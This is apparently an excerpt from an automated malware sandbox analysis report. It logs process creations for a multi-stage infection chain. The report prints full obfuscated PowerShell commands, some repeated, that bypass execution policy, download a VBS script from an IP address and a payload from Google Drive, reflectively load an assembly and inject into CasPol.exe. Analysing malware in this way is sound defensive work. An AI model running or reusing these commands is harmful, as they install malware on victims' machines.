YWNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgS3NJQ3lpZlhzeEkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFRYOHM6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4xMDEuMjEvNDEyL3NlZXRoZWJlc3R0aGluZ3NnaXZpbmdyZW5lcmd5dG9teWVudGlyZWxpZmVmb3JnZXRoZXJiYWNrLnRJRiIsIiRFTnY6QVBQREFUQVxzZWV0aGViZXN0dGhpbmdzZ2l2aW5ncmVuZXJneXRvbXllbnRpcmVsaWZlZm9yZ2V0aC5WQnMiLDAsMCk7U3RBUnQtc2xlZXAoMyk7c3RBUlQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVuVjpBUFBEQVRBXHNlZXRoZWJlc3R0aGluZ3NnaXZpbmdyZW5lcmd5dG9teWVudGlyZWxpZmVmb3JnZXRoLlZCcyI='+[cHAr]0x22+'))')))"Jump to behavior
                Suspicious powershell command line found
                Source: C:\Windows\System32\mshta.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SYsTEm32\wInDoWspoWERShell\V1.0\POWeRSheLL.eXE" "poWERSHelL.exe -EX byPAss -NOp -w 1 -C DEVicEcREdeNTiaLDEpLoyMENt.Exe ; iex($(IEx('[syStem.TeXT.eNcOdInG]'+[chAR]58+[chAr]58+'UtF8.GetstRiNg([sYstEm.conVErt]'+[cHAR]58+[ChAr]58+'FrOMbASE64stRInG('+[CHAR]34+'JFRYOHMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURELVR5UGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbWVtYmVSRGVGSU5pVGlvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVckxtb04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBoTXR3U0FMLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlXRlFYWCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsV05uV1BtU3Vacyx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSURNekQsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgR0NERFpyTkJNeXUpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJhdUdtbnpkWiIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFtRVNQYWNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgS3NJQ3lpZlhzeEkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFRYOHM6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4xMDEuMjEvNDEyL3NlZXRoZWJlc3R0aGluZ3NnaXZpbmdyZW5lcmd5dG9teWVudGlyZWxpZmVmb3JnZXRoZXJiYWNrLnRJRiIsIiRFTnY6QVBQREFUQVxzZWV0aGViZXN0dGhpbmdzZ2l2aW5ncmVuZXJneXRvbXllbnRpcmVsaWZlZm9yZ2V0aC5WQnMiLDAsMCk7U3RBUnQtc2xlZXAoMyk7c3RBUlQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVuVjpBUFBEQVRBXHNlZXRoZWJlc3R0aGluZ3NnaXZpbmdyZW5lcmd5dG9teWVudGlyZWxpZmVmb3JnZXRoLlZCcyI='+[cHAr]0x22+'))')))"
                Source: C:\Windows\System32\mshta.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SYsTEm32\wInDoWspoWERShell\V1.0\POWeRSheLL.eXE" "poWERSHelL.exe -EX byPAss -NOp -w 1 -C DEVicEcREdeNTiaLDEpLoyMENt.Exe ; iex($(IEx('[syStem.TeXT.eNcOdInG]'+[chAR]58+[chAr]58+'UtF8.GetstRiNg([sYstEm.conVErt]'+[cHAR]58+[ChAr]58+'FrOMbASE64stRInG('+[CHAR]34+'JFRYOHMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURELVR5UGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbWVtYmVSRGVGSU5pVGlvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVckxtb04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBoTXR3U0FMLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlXRlFYWCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsV05uV1BtU3Vacyx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSURNekQsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgR0NERFpyTkJNeXUpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJhdUdtbnpkWiIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFtRVNQYWNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgS3NJQ3lpZlhzeEkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFRYOHM6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4xMDEuMjEvNDEyL3NlZXRoZWJlc3R0aGluZ3NnaXZpbmdyZW5lcmd5dG9teWVudGlyZWxpZmVmb3JnZXRoZXJiYWNrLnRJRiIsIiRFTnY6QVBQREFUQVxzZWV0aGViZXN0dGhpbmdzZ2l2aW5ncmVuZXJneXRvbXllbnRpcmVsaWZlZm9yZ2V0aC5WQnMiLDAsMCk7U3RBUnQtc2xlZXAoMyk7c3RBUlQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVuVjpBUFBEQVRBXHNlZXRoZWJlc3R0aGluZ3NnaXZpbmdyZW5lcmd5dG9teWVudGlyZWxpZmVmb3JnZXRoLlZCcyI='+[cHAr]0x22+'))')))"
                Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JigoR2VULVZBUmlhQmxFICcqbURSKicpLk5BTUVbMywxMSwyXS1KT0luJycpKCAoKCc3JysnVk1pbWFnZVVybCA9IHptd2h0dHBzOi8vZHJpdmUuJysnZ29vZ2xlLmNvbS91Yz9leHBvcnQ9ZG93bmxvYWQmaWQ9MUFJVmdKSkp2MUY2dlM0c1VPeWJuSC1zRHZVaEJZd3VyIHptdzs3Vk13ZWJDbGknKydlbnQgPSBOZXctT2JqZWN0JysnIFN5c3RlbS5OZXQuV2ViQ2xpZW50OzdWTWknKydtYWdlQnl0ZXMgPSA3Vk13ZWJDbGllbnQuRG93bmxvYWREYXRhKDdWTWltYWdlVXJsKTs3Vk1pbWFnZVRleHQgPSAnKydbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVCcrJ0YnKyc4LkdldFN0cmluZyg3Vk1pbWFnZUJ5dGVzKTs3Vk1zdGFydEZsYWcgPSB6bXc8PEJBUycrJ0U2NF9TVEFSVD4+em13OzdWTWVuZEZsYWcgPSB6bXc8PEJBU0U2JysnNF9FTkQ+Pnptdzs3Vk1zdGFydEluJysnZGV4ID0gNycrJ1ZNaW1hZ2VUZXh0LkluZGV4T2YoN1ZNc3RhcnRGbGFnKTs3Vk1lbmRJbmRleCA9IDdWTWltYWcnKydlVGV4dC5JbmRleE9mKDdWTWVuZEZsYWcpOzdWTXN0JysnYXJ0SW5kZXggLScrJ2dlIDAgLWFuZCA3Vk1lbmRJbmQnKydleCAtZ3QgN1ZNc3RhcnRJbmRleCcrJzs3Vk1zdGFydEluZGV4ICs9IDdWTXN0YXJ0RmxhZy5MZW5ndGg7N1ZNJysnYmFzZTY0TGVuZ3RoID0gJysnNycrJ1ZNZW5kSW5kZXggLSA3VicrJ01zdGEnKydydEluZGV4OzdWTWJhc2U2NENvbW1hbmQgPSA3Vk1pbWFnZVRleHQuU3ViJysnc3RyaW5nKDdWTXN0YXJ0SW5kZXgsIDdWTWJhc2U2NExlbmd0aCk7N1ZNJysnYmFzZTY0UmV2ZXJzZWQgPSAtam9pbiAoN1YnKydNYicrJ2FzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpIHJwOCBGb3JFYWNoLU9iamVjdCB7IDdWTV8gfSlbLTEuLi0oN1ZNYmEnKydzZTY0Q29tbWFuZC5MZW5ndGgpXTs3Vk1jb21tYW5kQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm8nKydtQmFzZTY0U3RyaW5nKDdWTWJhc2U2NFJldmVycycrJ2VkKTs3Vk0nKydsb2FkZWRBc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoN1ZNY29tbWFuZEJ5dGVzKTs3Vk12YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKHptd1ZBSXptdyk7N1ZNdmFpTWV0aG9kLkludm9rZSg3Vk1udWxsLCAnKydAKHptd3R4dC5UVFInKydDTUxMLzIxNC8xMi4xJysnMDEuMy4yOTEvLzpwdHRoem13LCB6bXdkZXNhdGl2YWRvem13LCB6bXdkZXNhdGl2YScrJ2Rvem13LCB6bXdkZXNhdGl2YWRvem13LCB6bXdDYXNQb2x6bXcsIHptd2Rlc2F0aXZhZCcrJ296bXcsIHptd2Rlc2F0aXZhZG96bXcsem13ZGVzYXRpdmFkb3ptdyx6bXdkZXNhdGl2YWRvem13LHptd2Rlc2F0aXYnKydhZG96bXcsem13ZGVzYXRpdmFkb3ptdyx6bXdkZXNhdGl2JysnYWRveicrJ213LHptdzF6bXcsem13ZGVzYXRpdmFkb3ptdykpOycpICAtckVQbEFDZSAncnA4JyxbQ0hhcl0xMjQgIC1jcmVQbGFDRSAgKFtDSGFyXTEyMitbQ0hhcl0xMDkrW0NIYXJdMTE5KSxbQ0hhcl0zOS1jcmVQbGFDRShbQ0hhcl01NStbQ0hhcl04NitbQ0hhcl03NyksW0NIYXJdMzYpKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "&((GeT-VARiaBlE '*mDR*').NAME[3,11,2]-JOIn'')( (('7'+'VMimageUrl = zmwhttps://drive.'+'google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur zmw;7VMwebCli'+'ent = New-Object'+' System.Net.WebClient;7VMi'+'mageBytes = 7VMwebClient.DownloadData(7VMimageUrl);7VMimageText = '+'[System.Text.Encoding]::UT'+'F'+'8.GetString(7VMimageBytes);7VMstartFlag = zmw<<BAS'+'E64_START>>zmw;7VMendFlag = zmw<<BASE6'+'4_END>>zmw;7VMstartIn'+'dex = 7'+'VMimageText.IndexOf(7VMstartFlag);7VMendIndex = 7VMimag'+'eText.IndexOf(7VMendFlag);7VMst'+'artIndex -'+'ge 0 -and 7VMendInd'+'ex -gt 7VMstartIndex'+';7VMstartIndex += 7VMstartFlag.Length;7VM'+'base64Length = '+'7'+'VMendIndex - 7V'+'Msta'+'rtIndex;7VMbase64Command = 7VMimageText.Sub'+'string(7VMstartIndex, 7VMbase64Length);7VM'+'base64Reversed = -join (7V'+'Mb'+'ase64Command.ToCharArray() rp8 ForEach-Object { 7VM_ })[-1..-(7VMba'+'se64Command.Length)];7VMcommandBytes = [System.Convert]::Fro'+'mBase64String(7VMbase64Revers'+'ed);7VM'+'loadedAssembly = [System.Reflection.Assembly]::Load(7VMcommandBytes);7VMvaiMethod = [dnlib.IO.Home].GetMethod(zmwVAIzmw);7VMvaiMethod.Invoke(7VMnull, '+'@(zmwtxt.TTR'+'CMLL/214/12.1'+'01.3.291//:ptthzmw, zmwdesativadozmw, zmwdesativa'+'dozmw, zmwdesativadozmw, zmwCasPolzmw, zmwdesativad'+'ozmw, zmwdesativadozmw,zmwdesativadozmw,zmwdesativadozmw,zmwdesativ'+'adozmw,zmwdesativadozmw,zmwdesativ'+'adoz'+'mw,zmw1zmw,zmwdesativadozmw));') -rEPlACe 'rp8',[CHar]124 -crePlaCE ([CHar]122+[CHar]109+[CHar]119),[CHar]39-crePlaCE([CHar]55+[CHar]86+[CHar]77),[CHar]36))"
                Source: C:\Windows\System32\mshta.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SYsTEm32\wInDoWspoWERShell\V1.0\POWeRSheLL.eXE" "poWERSHelL.exe -EX byPAss -NOp -w 1 -C DEVicEcREdeNTiaLDEpLoyMENt.Exe ; iex($(IEx('[syStem.TeXT.eNcOdInG]'+[chAR]58+[chAr]58+'UtF8.GetstRiNg([sYstEm.conVErt]'+[cHAR]58+[ChAr]58+'FrOMbASE64stRInG('+[CHAR]34+'JFRYOHMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURELVR5UGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbWVtYmVSRGVGSU5pVGlvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVckxtb04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBoTXR3U0FMLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlXRlFYWCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsV05uV1BtU3Vacyx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSURNekQsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgR0NERFpyTkJNeXUpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJhdUdtbnpkWiIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFtRVNQYWNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgS3NJQ3lpZlhzeEkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFRYOHM6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4xMDEuMjEvNDEyL3NlZXRoZWJlc3R0aGluZ3NnaXZpbmdyZW5lcmd5dG9teWVudGlyZWxpZmVmb3JnZXRoZXJiYWNrLnRJRiIsIiRFTnY6QVBQREFUQVxzZWV0aGViZXN0dGhpbmdzZ2l2aW5ncmVuZXJneXRvbXllbnRpcmVsaWZlZm9yZ2V0aC5WQnMiLDAsMCk7U3RBUnQtc2xlZXAoMyk7c3RBUlQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVuVjpBUFBEQVRBXHNlZXRoZWJlc3R0aGluZ3NnaXZpbmdyZW5lcmd5dG9teWVudGlyZWxpZmVmb3JnZXRoLlZCcyI='+[cHAr]0x22+'))')))"Jump to behavior
                Source: C:\Windows\System32\mshta.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SYsTEm32\wInDoWspoWERShell\V1.0\POWeRSheLL.eXE" "poWERSHelL.exe -EX byPAss -NOp -w 1 -C DEVicEcREdeNTiaLDEpLoyMENt.Exe ; iex($(IEx('[syStem.TeXT.eNcOdInG]'+[chAR]58+[chAr]58+'UtF8.GetstRiNg([sYstEm.conVErt]'+[cHAR]58+[ChAr]58+'FrOMbASE64stRInG('+[CHAR]34+'JFRYOHMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURELVR5UGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbWVtYmVSRGVGSU5pVGlvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVckxtb04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBoTXR3U0FMLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlXRlFYWCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsV05uV1BtU3Vacyx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSURNekQsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgR0NERFpyTkJNeXUpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJhdUdtbnpkWiIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFtRVNQYWNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgS3NJQ3lpZlhzeEkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFRYOHM6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4xMDEuMjEvNDEyL3NlZXRoZWJlc3R0aGluZ3NnaXZpbmdyZW5lcmd5dG9teWVudGlyZWxpZmVmb3JnZXRoZXJiYWNrLnRJRiIsIiRFTnY6QVBQREFUQVxzZWV0aGViZXN0dGhpbmdzZ2l2aW5ncmVuZXJneXRvbXllbnRpcmVsaWZlZm9yZ2V0aC5WQnMiLDAsMCk7U3RBUnQtc2xlZXAoMyk7c3RBUlQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVuVjpBUFBEQVRBXHNlZXRoZWJlc3R0aGluZ3NnaXZpbmdyZW5lcmd5dG9teWVudGlyZWxpZmVmb3JnZXRoLlZCcyI='+[cHAr]0x22+'))')))"Jump to behavior
                Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JigoR2VULVZBUmlhQmxFICcqbURSKicpLk5BTUVbMywxMSwyXS1KT0luJycpKCAoKCc3JysnVk1pbWFnZVVybCA9IHptd2h0dHBzOi8vZHJpdmUuJysnZ29vZ2xlLmNvbS91Yz9leHBvcnQ9ZG93bmxvYWQmaWQ9MUFJVmdKSkp2MUY2dlM0c1VPeWJuSC1zRHZVaEJZd3VyIHptdzs3Vk13ZWJDbGknKydlbnQgPSBOZXctT2JqZWN0JysnIFN5c3RlbS5OZXQuV2ViQ2xpZW50OzdWTWknKydtYWdlQnl0ZXMgPSA3Vk13ZWJDbGllbnQuRG93bmxvYWREYXRhKDdWTWltYWdlVXJsKTs3Vk1pbWFnZVRleHQgPSAnKydbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVCcrJ0YnKyc4LkdldFN0cmluZyg3Vk1pbWFnZUJ5dGVzKTs3Vk1zdGFydEZsYWcgPSB6bXc8PEJBUycrJ0U2NF9TVEFSVD4+em13OzdWTWVuZEZsYWcgPSB6bXc8PEJBU0U2JysnNF9FTkQ+Pnptdzs3Vk1zdGFydEluJysnZGV4ID0gNycrJ1ZNaW1hZ2VUZXh0LkluZGV4T2YoN1ZNc3RhcnRGbGFnKTs3Vk1lbmRJbmRleCA9IDdWTWltYWcnKydlVGV4dC5JbmRleE9mKDdWTWVuZEZsYWcpOzdWTXN0JysnYXJ0SW5kZXggLScrJ2dlIDAgLWFuZCA3Vk1lbmRJbmQnKydleCAtZ3QgN1ZNc3RhcnRJbmRleCcrJzs3Vk1zdGFydEluZGV4ICs9IDdWTXN0YXJ0RmxhZy5MZW5ndGg7N1ZNJysnYmFzZTY0TGVuZ3RoID0gJysnNycrJ1ZNZW5kSW5kZXggLSA3VicrJ01zdGEnKydydEluZGV4OzdWTWJhc2U2NENvbW1hbmQgPSA3Vk1pbWFnZVRleHQuU3ViJysnc3RyaW5nKDdWTXN0YXJ0SW5kZXgsIDdWTWJhc2U2NExlbmd0aCk7N1ZNJysnYmFzZTY0UmV2ZXJzZWQgPSAtam9pbiAoN1YnKydNYicrJ2FzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpIHJwOCBGb3JFYWNoLU9iamVjdCB7IDdWTV8gfSlbLTEuLi0oN1ZNYmEnKydzZTY0Q29tbWFuZC5MZW5ndGgpXTs3Vk1jb21tYW5kQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm8nKydtQmFzZTY0U3RyaW5nKDdWTWJhc2U2NFJldmVycycrJ2VkKTs3Vk0nKydsb2FkZWRBc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoN1ZNY29tbWFuZEJ5dGVzKTs3Vk12YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKHptd1ZBSXptdyk7N1ZNdmFpTWV0aG9kLkludm9rZSg3Vk1udWxsLCAnKydAKHptd3R4dC5UVFInKydDTUxMLzIxNC8xMi4xJysnMDEuMy4yOTEvLzpwdHRoem13LCB6bXdkZXNhdGl2YWRvem13LCB6bXdkZXNhdGl2YScrJ2Rvem13LCB6bXdkZXNhdGl2YWRvem13LCB6bXdDYXNQb2x6bXcsIHptd2Rlc2F0aXZhZCcrJ296bXcsIHptd2Rlc2F0aXZhZG96bXcsem13ZGVzYXRpdmFkb3ptdyx6bXdkZXNhdGl2YWRvem13LHptd2Rlc2F0aXYnKydhZG96bXcsem13ZGVzYXRpdmFkb3ptdyx6bXdkZXNhdGl2JysnYWRveicrJ213LHptdzF6bXcsem13ZGVzYXRpdmFkb3ptdykpOycpICAtckVQbEFDZSAncnA4JyxbQ0hhcl0xMjQgIC1jcmVQbGFDRSAgKFtDSGFyXTEyMitbQ0hhcl0xMDkrW0NIYXJdMTE5KSxbQ0hhcl0zOS1jcmVQbGFDRShbQ0hhcl01NStbQ0hhcl04NitbQ0hhcl03NyksW0NIYXJdMzYpKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "&((GeT-VARiaBlE '*mDR*').NAME[3,11,2]-JOIn'')( (('7'+'VMimageUrl = zmwhttps://drive.'+'google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur zmw;7VMwebCli'+'ent = New-Object'+' System.Net.WebClient;7VMi'+'mageBytes = 7VMwebClient.DownloadData(7VMimageUrl);7VMimageText = '+'[System.Text.Encoding]::UT'+'F'+'8.GetString(7VMimageBytes);7VMstartFlag = zmw<<BAS'+'E64_START>>zmw;7VMendFlag = zmw<<BASE6'+'4_END>>zmw;7VMstartIn'+'dex = 7'+'VMimageText.IndexOf(7VMstartFlag);7VMendIndex = 7VMimag'+'eText.IndexOf(7VMendFlag);7VMst'+'artIndex -'+'ge 0 -and 7VMendInd'+'ex -gt 7VMstartIndex'+';7VMstartIndex += 7VMstartFlag.Length;7VM'+'base64Length = '+'7'+'VMendIndex - 7V'+'Msta'+'rtIndex;7VMbase64Command = 7VMimageText.Sub'+'string(7VMstartIndex, 7VMbase64Length);7VM'+'base64Reversed = -join (7V'+'Mb'+'ase64Command.ToCharArray() rp8 ForEach-Object { 7VM_ })[-1..-(7VMba'+'se64Command.Length)];7VMcommandBytes = [System.Convert]::Fro'+'mBase64String(7VMbase64Revers'+'ed);7VM'+'loadedAssembly = [System.Reflection.Assembly]::Load(7VMcommandBytes);7VMvaiMethod = [dnlib.IO.Home].GetMethod(zmwVAIzmw);7VMvaiMethod.Invoke(7VMnull, '+'@(zmwtxt.TTR'+'CMLL/214/12.1'+'01.3.291//:ptthzmw, zmwdesativadozmw, zmwdesativa'+'dozmw, zmwdesativadozmw, zmwCasPolzmw, zmwdesativad'+'ozmw, zmwdesativadozmw,zmwdesativadozmw,zmwdesativadozmw,zmwdesativ'+'adozmw,zmwdesativadozmw,zmwdesativ'+'adoz'+'mw,zmw1zmw,zmwdesativadozmw));') -rEPlACe 'rp8',[CHar]124 -crePlaCE ([CHar]122+[CHar]109+[CHar]119),[CHar]39-crePlaCE([CHar]55+[CHar]86+[CHar]77),[CHar]36))"
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\htcuymda\htcuymda.cmdline"
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\1vm3e1kt\1vm3e1kt.cmdline"
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\htcuymda\htcuymda.cmdline"Jump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\1vm3e1kt\1vm3e1kt.cmdline"
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 26_2_0041CBE1 LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,26_2_0041CBE1
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 5_2_000007FE899E022D push eax; iretd 5_2_000007FE899E0241
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 5_2_000007FE899E00BD pushad ; iretd 5_2_000007FE899E00C1
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 26_2_00457186 push ecx; ret 26_2_00457199
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 26_2_0045E55D push esi; ret 26_2_0045E566
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 26_2_00457AA8 push eax; ret 26_2_00457AC6
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 26_2_00434EB6 push ecx; ret 26_2_00434EC9
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 26_2_10002806 push ecx; ret 26_2_10002819
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 28_2_0044693D push ecx; ret 28_2_0044694D
